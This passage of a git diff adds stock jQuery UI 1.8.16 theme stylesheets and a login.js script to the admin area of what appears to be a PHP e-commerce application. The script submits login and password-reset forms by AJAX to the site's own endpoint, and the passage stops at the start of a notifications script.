width:auto; } +.ui-datepicker-multi .ui-datepicker-group { float:left; } +.ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } +.ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } +.ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } +.ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } +.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } +.ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } +.ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } + +/* RTL support */ +.ui-datepicker-rtl { direction: rtl; } +.ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } +.ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } +.ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } +.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } +.ui-datepicker-rtl .ui-datepicker-group { float:right; } +.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } +.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } + +/* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ +.ui-datepicker-cover { + display: none; /*sorry for IE5*/ + display/**/: block; /*sorry for IE5*/ + position: absolute; /*must have*/ + z-index: -1; /*must have*/ + filter: mask(); /*must have*/ + top: -4px; /*must have*/ + left: -4px; /*must have*/ + width: 200px; /*must have*/ + height: 200px; /*must have*/ +} \ No newline at end of file diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.dialog.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.dialog.css new file mode 100755 index 0000000..1b95d7f --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.dialog.css @@ -0,0 +1,21 @@ +/* + * jQuery UI Dialog 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Dialog#theming + */ +.ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } +.ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } +.ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } +.ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } +.ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } +.ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } +.ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } +.ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } +.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } +.ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } +.ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } +.ui-draggable .ui-dialog-titlebar { cursor: move; } diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.progressbar.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.progressbar.css new file mode 100755 index 0000000..e885ced --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.progressbar.css @@ -0,0 +1,11 @@ +/* + * jQuery UI Progressbar 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar#theming + */ +.ui-progressbar { height:2em; text-align: left; } +.ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; } \ No newline at end of file diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.resizable.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.resizable.css new file mode 100755 index 0000000..dc70679 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.resizable.css @@ -0,0 +1,20 @@ +/* + * jQuery UI Resizable 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Resizable#theming + */ +.ui-resizable { position: relative;} +.ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block; } +.ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } +.ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } +.ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } +.ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } +.ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } +.ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } +.ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } +.ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } +.ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;} \ No newline at end of file diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.selectable.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.selectable.css new file mode 100755 index 0000000..2d505fb --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.selectable.css @@ -0,0 +1,10 @@ +/* + * jQuery UI Selectable 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Selectable#theming + */ +.ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.slider.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.slider.css new file mode 100755 index 0000000..982f42c --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.slider.css @@ -0,0 +1,24 @@ +/* + * jQuery UI Slider 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Slider#theming + */ +.ui-slider { position: relative; text-align: left; } +.ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } +.ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } + +.ui-slider-horizontal { height: .8em; } +.ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } +.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } +.ui-slider-horizontal .ui-slider-range-min { left: 0; } +.ui-slider-horizontal .ui-slider-range-max { right: 0; } + +.ui-slider-vertical { width: .8em; height: 100px; } +.ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } +.ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } +.ui-slider-vertical .ui-slider-range-min { bottom: 0; } +.ui-slider-vertical .ui-slider-range-max { top: 0; } \ No newline at end of file diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.tabs.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.tabs.css new file mode 100755 index 0000000..84d27b8 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.tabs.css @@ -0,0 +1,18 @@ +/* + * jQuery UI Tabs 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Tabs#theming + */ +.ui-tabs { position: relative; padding: .2em; zoom: 1; } /* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ +.ui-tabs .ui-tabs-nav { margin: 0; padding: .2em .2em 0; } +.ui-tabs .ui-tabs-nav li { list-style: none; float: left; position: relative; top: 1px; margin: 0 .2em 1px 0; border-bottom: 0 !important; padding: 0; white-space: nowrap; } +.ui-tabs .ui-tabs-nav li a { float: left; padding: .5em 1em; text-decoration: none; } +.ui-tabs .ui-tabs-nav li.ui-tabs-selected { margin-bottom: 0; padding-bottom: 1px; } +.ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; } +.ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } /* first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */ +.ui-tabs .ui-tabs-panel { display: block; border-width: 0; padding: 1em 1.4em; background: none; } +.ui-tabs .ui-tabs-hide { display: none !important; } diff --git a/js/jquery/ui/themes/ui-lightness/jquery.ui.theme.css b/js/jquery/ui/themes/ui-lightness/jquery.ui.theme.css new file mode 100755 index 0000000..545b283 --- /dev/null +++ b/js/jquery/ui/themes/ui-lightness/jquery.ui.theme.css @@ -0,0 +1,249 @@ + + +/* + * jQuery UI CSS Framework 1.8.16 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Theming/API + * + * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Trebuchet%20MS,%20Tahoma,%20Verdana,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=f6a828&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=35&borderColorHeader=e78f08&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=eeeeee&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=100&borderColorContent=dddddd&fcContent=333333&iconColorContent=222222&bgColorDefault=f6f6f6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=100&borderColorDefault=cccccc&fcDefault=1c94c4&iconColorDefault=ef8c08&bgColorHover=fdf5ce&bgTextureHover=02_glass.png&bgImgOpacityHover=100&borderColorHover=fbcb09&fcHover=c77405&iconColorHover=ef8c08&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=fbd850&fcActive=eb8f00&iconColorActive=ef8c08&bgColorHighlight=ffe45c&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=75&borderColorHighlight=fed22f&fcHighlight=363636&iconColorHighlight=228ef1&bgColorError=b81900&bgTextureError=08_diagonals_thick.png&bgImgOpacityError=18&borderColorError=cd0a0a&fcError=ffffff&iconColorError=ffd27a&bgColorOverlay=666666&bgTextureOverlay=08_diagonals_thick.png&bgImgOpacityOverlay=20&opacityOverlay=50&bgColorShadow=000000&bgTextureShadow=01_flat.png&bgImgOpacityShadow=10&opacityShadow=20&thicknessShadow=5px&offsetTopShadow=-5px&offsetLeftShadow=-5px&cornerRadiusShadow=5px + */ + + +/* Component containers +----------------------------------*/ +.ui-widget { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1.1em; } +.ui-widget .ui-widget { font-size: 1em; } +.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1em; } +.ui-widget-content { border: 1px solid #dddddd; background: #eeeeee url(images/ui-bg_highlight-soft_100_eeeeee_1x100.png) 50% top repeat-x; color: #333333; } +.ui-widget-content a { color: #333333; } +.ui-widget-header { border: 1px solid #e78f08; background: #f6a828 url(images/ui-bg_gloss-wave_35_f6a828_500x100.png) 50% 50% repeat-x; color: #ffffff; font-weight: bold; } +.ui-widget-header a { color: #ffffff; } + +/* Interaction states +----------------------------------*/ +.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #cccccc; background: #f6f6f6 url(images/ui-bg_glass_100_f6f6f6_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #1c94c4; } +.ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #1c94c4; text-decoration: none; } +.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #fbcb09; background: #fdf5ce url(images/ui-bg_glass_100_fdf5ce_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #c77405; } +.ui-state-hover a, .ui-state-hover a:hover { color: #c77405; text-decoration: none; } +.ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #fbd850; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #eb8f00; } +.ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #eb8f00; text-decoration: none; } +.ui-widget :active { outline: none; } + +/* Interaction Cues +----------------------------------*/ +.ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fed22f; background: #ffe45c url(images/ui-bg_highlight-soft_75_ffe45c_1x100.png) 50% top repeat-x; color: #363636; } +.ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; } +.ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a; background: #b81900 url(images/ui-bg_diagonals-thick_18_b81900_40x40.png) 50% 50% repeat; color: #ffffff; } +.ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #ffffff; } +.ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #ffffff; } +.ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } +.ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } +.ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } +.ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } +.ui-widget-header .ui-icon {background-image: url(images/ui-icons_ffffff_256x240.png); } +.ui-state-default .ui-icon { background-image: url(images/ui-icons_ef8c08_256x240.png); } +.ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } +.ui-state-active .ui-icon {background-image: url(images/ui-icons_ef8c08_256x240.png); } +.ui-state-highlight .ui-icon {background-image: url(images/ui-icons_228ef1_256x240.png); } +.ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_ffd27a_256x240.png); } + +/* positioning */ +.ui-icon-carat-1-n { background-position: 0 0; } +.ui-icon-carat-1-ne { background-position: -16px 0; } +.ui-icon-carat-1-e { background-position: -32px 0; } +.ui-icon-carat-1-se { background-position: -48px 0; } +.ui-icon-carat-1-s { background-position: -64px 0; } +.ui-icon-carat-1-sw { background-position: -80px 0; } +.ui-icon-carat-1-w { background-position: -96px 0; } +.ui-icon-carat-1-nw { background-position: -112px 0; } +.ui-icon-carat-2-n-s { background-position: -128px 0; } +.ui-icon-carat-2-e-w { background-position: -144px 0; } +.ui-icon-triangle-1-n { background-position: 0 -16px; } +.ui-icon-triangle-1-ne { background-position: -16px -16px; } +.ui-icon-triangle-1-e { background-position: -32px -16px; } +.ui-icon-triangle-1-se { background-position: -48px -16px; } +.ui-icon-triangle-1-s { background-position: -64px -16px; } +.ui-icon-triangle-1-sw { background-position: -80px -16px; } +.ui-icon-triangle-1-w { background-position: -96px -16px; } +.ui-icon-triangle-1-nw { background-position: -112px -16px; } +.ui-icon-triangle-2-n-s { background-position: -128px -16px; } +.ui-icon-triangle-2-e-w { background-position: -144px -16px; } +.ui-icon-arrow-1-n { background-position: 0 -32px; } +.ui-icon-arrow-1-ne { background-position: -16px -32px; } +.ui-icon-arrow-1-e { background-position: -32px -32px; } +.ui-icon-arrow-1-se { background-position: -48px -32px; } +.ui-icon-arrow-1-s { background-position: -64px -32px; } +.ui-icon-arrow-1-sw { background-position: -80px -32px; } +.ui-icon-arrow-1-w { background-position: -96px -32px; } +.ui-icon-arrow-1-nw { background-position: -112px -32px; } +.ui-icon-arrow-2-n-s { background-position: -128px -32px; } +.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } +.ui-icon-arrow-2-e-w { background-position: -160px -32px; } +.ui-icon-arrow-2-se-nw { background-position: -176px -32px; } +.ui-icon-arrowstop-1-n { background-position: -192px -32px; } +.ui-icon-arrowstop-1-e { background-position: -208px -32px; } +.ui-icon-arrowstop-1-s { background-position: -224px -32px; } +.ui-icon-arrowstop-1-w { background-position: -240px -32px; } +.ui-icon-arrowthick-1-n { background-position: 0 -48px; } +.ui-icon-arrowthick-1-ne { background-position: -16px -48px; } +.ui-icon-arrowthick-1-e { background-position: -32px -48px; } +.ui-icon-arrowthick-1-se { background-position: -48px -48px; } +.ui-icon-arrowthick-1-s { background-position: -64px -48px; } +.ui-icon-arrowthick-1-sw { background-position: -80px -48px; } +.ui-icon-arrowthick-1-w { background-position: -96px -48px; } +.ui-icon-arrowthick-1-nw { background-position: -112px -48px; } +.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } +.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } +.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } +.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } +.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } +.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } +.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } +.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } +.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } +.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } +.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } +.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } +.ui-icon-arrowreturn-1-w { background-position: -64px -64px; } +.ui-icon-arrowreturn-1-n { background-position: -80px -64px; } +.ui-icon-arrowreturn-1-e { background-position: -96px -64px; } +.ui-icon-arrowreturn-1-s { background-position: -112px -64px; } +.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } +.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } +.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } +.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } +.ui-icon-arrow-4 { background-position: 0 -80px; } +.ui-icon-arrow-4-diag { background-position: -16px -80px; } +.ui-icon-extlink { background-position: -32px -80px; } +.ui-icon-newwin { background-position: -48px -80px; } +.ui-icon-refresh { background-position: -64px -80px; } +.ui-icon-shuffle { background-position: -80px -80px; } +.ui-icon-transfer-e-w { background-position: -96px -80px; } +.ui-icon-transferthick-e-w { background-position: -112px -80px; } +.ui-icon-folder-collapsed { background-position: 0 -96px; } +.ui-icon-folder-open { background-position: -16px -96px; } +.ui-icon-document { background-position: -32px -96px; } +.ui-icon-document-b { background-position: -48px -96px; } +.ui-icon-note { background-position: -64px -96px; } +.ui-icon-mail-closed { background-position: -80px -96px; } +.ui-icon-mail-open { background-position: -96px -96px; } +.ui-icon-suitcase { background-position: -112px -96px; } +.ui-icon-comment { background-position: -128px -96px; } +.ui-icon-person { background-position: -144px -96px; } +.ui-icon-print { background-position: -160px -96px; } +.ui-icon-trash { background-position: -176px -96px; } +.ui-icon-locked { background-position: -192px -96px; } +.ui-icon-unlocked { background-position: -208px -96px; } +.ui-icon-bookmark { background-position: -224px -96px; } +.ui-icon-tag { background-position: -240px -96px; } +.ui-icon-home { background-position: 0 -112px; } +.ui-icon-flag { background-position: -16px -112px; } +.ui-icon-calendar { background-position: -32px -112px; } +.ui-icon-cart { background-position: -48px -112px; } +.ui-icon-pencil { background-position: -64px -112px; } +.ui-icon-clock { background-position: -80px -112px; } +.ui-icon-disk { background-position: -96px -112px; } +.ui-icon-calculator { background-position: -112px -112px; } +.ui-icon-zoomin { background-position: -128px -112px; } +.ui-icon-zoomout { background-position: -144px -112px; } +.ui-icon-search { background-position: -160px -112px; } +.ui-icon-wrench { background-position: -176px -112px; } +.ui-icon-gear { background-position: -192px -112px; } +.ui-icon-heart { background-position: -208px -112px; } +.ui-icon-star { background-position: -224px -112px; } +.ui-icon-link { background-position: -240px -112px; } +.ui-icon-cancel { background-position: 0 -128px; } +.ui-icon-plus { background-position: -16px -128px; } +.ui-icon-plusthick { background-position: -32px -128px; } +.ui-icon-minus { background-position: -48px -128px; } +.ui-icon-minusthick { background-position: -64px -128px; } +.ui-icon-close { background-position: -80px -128px; } +.ui-icon-closethick { background-position: -96px -128px; } +.ui-icon-key { background-position: -112px -128px; } +.ui-icon-lightbulb { background-position: -128px -128px; } +.ui-icon-scissors { background-position: -144px -128px; } +.ui-icon-clipboard { background-position: -160px -128px; } +.ui-icon-copy { background-position: -176px -128px; } +.ui-icon-contact { background-position: -192px -128px; } +.ui-icon-image { background-position: -208px -128px; } +.ui-icon-video { background-position: -224px -128px; } +.ui-icon-script { background-position: -240px -128px; } +.ui-icon-alert { background-position: 0 -144px; } +.ui-icon-info { background-position: -16px -144px; } +.ui-icon-notice { background-position: -32px -144px; } +.ui-icon-help { background-position: -48px -144px; } +.ui-icon-check { background-position: -64px -144px; } +.ui-icon-bullet { background-position: -80px -144px; } +.ui-icon-radio-off { background-position: -96px -144px; } +.ui-icon-radio-on { background-position: -112px -144px; } +.ui-icon-pin-w { background-position: -128px -144px; } +.ui-icon-pin-s { background-position: -144px -144px; } +.ui-icon-play { background-position: 0 -160px; } +.ui-icon-pause { background-position: -16px -160px; } +.ui-icon-seek-next { background-position: -32px -160px; } +.ui-icon-seek-prev { background-position: -48px -160px; } +.ui-icon-seek-end { background-position: -64px -160px; } +.ui-icon-seek-start { background-position: -80px -160px; } +/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ +.ui-icon-seek-first { background-position: -80px -160px; } +.ui-icon-stop { background-position: -96px -160px; } +.ui-icon-eject { background-position: -112px -160px; } +.ui-icon-volume-off { background-position: -128px -160px; } +.ui-icon-volume-on { background-position: -144px -160px; } +.ui-icon-power { background-position: 0 -176px; } +.ui-icon-signal-diag { background-position: -16px -176px; } +.ui-icon-signal { background-position: -32px -176px; } +.ui-icon-battery-0 { background-position: -48px -176px; } +.ui-icon-battery-1 { background-position: -64px -176px; } +.ui-icon-battery-2 { background-position: -80px -176px; } +.ui-icon-battery-3 { background-position: -96px -176px; } +.ui-icon-circle-plus { background-position: 0 -192px; } +.ui-icon-circle-minus { background-position: -16px -192px; } +.ui-icon-circle-close { background-position: -32px -192px; } +.ui-icon-circle-triangle-e { background-position: -48px -192px; } +.ui-icon-circle-triangle-s { background-position: -64px -192px; } +.ui-icon-circle-triangle-w { background-position: -80px -192px; } +.ui-icon-circle-triangle-n { background-position: -96px -192px; } +.ui-icon-circle-arrow-e { background-position: -112px -192px; } +.ui-icon-circle-arrow-s { background-position: -128px -192px; } +.ui-icon-circle-arrow-w { background-position: -144px -192px; } +.ui-icon-circle-arrow-n { background-position: -160px -192px; } +.ui-icon-circle-zoomin { background-position: -176px -192px; } +.ui-icon-circle-zoomout { background-position: -192px -192px; } +.ui-icon-circle-check { background-position: -208px -192px; } +.ui-icon-circlesmall-plus { background-position: 0 -208px; } +.ui-icon-circlesmall-minus { background-position: -16px -208px; } +.ui-icon-circlesmall-close { background-position: -32px -208px; } +.ui-icon-squaresmall-plus { background-position: -48px -208px; } +.ui-icon-squaresmall-minus { background-position: -64px -208px; } +.ui-icon-squaresmall-close { background-position: -80px -208px; } +.ui-icon-grip-dotted-vertical { background-position: 0 -224px; } +.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } +.ui-icon-grip-solid-vertical { background-position: -32px -224px; } +.ui-icon-grip-solid-horizontal { background-position: -48px -224px; } +.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } +.ui-icon-grip-diagonal-se { background-position: -80px -224px; } + + +/* Misc visuals +----------------------------------*/ + +/* Corner radius */ +.ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; -khtml-border-top-left-radius: 4px; border-top-left-radius: 4px; } +.ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; -khtml-border-top-right-radius: 4px; border-top-right-radius: 4px; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; -khtml-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } +.ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; -khtml-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } + +/* Overlays */ +.ui-widget-overlay { background: #666666 url(images/ui-bg_diagonals-thick_20_666666_40x40.png) 50% 50% repeat; opacity: .50;filter:Alpha(Opacity=50); } +.ui-widget-shadow { margin: -5px 0 0 -5px; padding: 5px; background: #000000 url(images/ui-bg_flat_10_000000_40x100.png) 50% 50% repeat-x; opacity: .20;filter:Alpha(Opacity=20); -moz-border-radius: 5px; -khtml-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; } \ No newline at end of file diff --git a/js/login.js b/js/login.js new file mode 100755 index 0000000..934e442 --- /dev/null +++ b/js/login.js @@ -0,0 +1,133 @@ +$(document).ready(function() { + // Focus on email address field + $('#email').select(); + + // Initialize events + $('#login_form').submit(function(e) { + // Kill default behaviour + e.preventDefault(); + doAjaxLogin($('#redirect').val()); + }); + + $('#forgot_password_form').submit(function(e) { + // Kill default behaviour + e.preventDefault(); + doAjaxForgot(); + }); + + $('.show-forgot-password').click(function(e) { + // Kill default behaviour + e.preventDefault(); + displayForgotPassword(); + }); + + $('.show-login-form').click(function(e) { + // Kill default behaviour + e.preventDefault(); + displayLogin(); + }); +}); + + +function displayForgotPassword() { + $('#error').hide(); + $('#login_form').fadeOut('fast', function () { + $("#forgot_password_form").fadeIn('fast'); + // Focus on email address forgot field + $('#email_forgot').select(); + }); + +} + +function displayLogin() { + $('#error').hide(); + + $('#forgot_password_form').fadeOut('fast', function () { + $('#login_form').fadeIn('fast'); + // Focus on email address field + $('#email').select(); + }); + + return false; +} + +/** + * Check user credentials + * + * @param string redirect name of the controller to redirect to after login (or null) + */ +function doAjaxLogin(redirect) { + $('#error').hide(); + $('#login_form .ajax-loader').fadeIn('slow', function() { + $.ajax({ + type: "POST", + headers: { "cache-control": "no-cache" }, + url: "ajax-tab.php" + '?rand=' + new Date().getTime(), + async: true, + dataType: "json", + data: { + ajax: "1", + token: "", + controller: "AdminLogin", + submitLogin: "1", + passwd: $('#passwd').val(), + email: $('#email').val(), + redirect: redirect + }, + success: function(jsonData) { + if (jsonData.hasErrors) { + displayErrors(jsonData.errors); + } else { + window.location.href = jsonData.redirect; + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + $('#error').html('

    TECHNICAL ERROR:

    Details: Error thrown: ' + XMLHttpRequest + '

    Text status: ' + textStatus + '

    ').show(); + $('#login_form .ajax-loader').fadeOut('slow'); + } + }); + }); +} +function doAjaxForgot() { + $('#error').hide(); + $('#forgot_password_form .ajax-loader').fadeIn('slow', function() { + $.ajax({ + type: "POST", + headers: { "cache-control": "no-cache" }, + url: "ajax-tab.php" + '?rand=' + new Date().getTime(), + async: true, + dataType: "json", + data: { + ajax: "1", + token: "", + controller: "AdminLogin", + submitForgot: "1", + email_forgot: $('#email_forgot').val() + }, + success: function(jsonData) { + if (jsonData.hasErrors) + displayErrors(jsonData.errors); + else + { + alert(jsonData.confirm); + $('#forgot_password_form .ajax-loader').hide(); + displayLogin(); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + $('#error').html('

    TECHNICAL ERROR:

    Details: Error thrown: ' + XMLHttpRequest + '

    Text status: ' + textStatus + '

    ').show(); + $('#forgot_password_form .ajax-loader').fadeOut('slow'); + } + }); + }); +} +function displayErrors(errors) { + str_errors = '

    ' + (errors.length > 1 ? there_are : there_is) + ' ' + errors.length + ' ' + (errors.length > 1 ? label_errors : label_error) + '

      '; + for (var error in errors) //IE6 bug fix + if (error != 'indexOf') str_errors += '
    1. ' + errors[error] + '
    2. '; + $('.ajax-loader').hide(); + $('#error').html(str_errors + '
    ').fadeIn('slow'); + $("#login").effect("shake", { + times: 4 + }, 100); +} diff --git a/js/notifications.js b/js/notifications.js new file mode 100755 index 0000000..543f286 --- /dev/null +++ b/js/notifications.js @@ -0,0 +1,117 @@ +$(document).ready(function() +{ + var hints = $('.translatable span.hint'); + if (youEditFieldFor) + { + hints.html(hints.html() + '
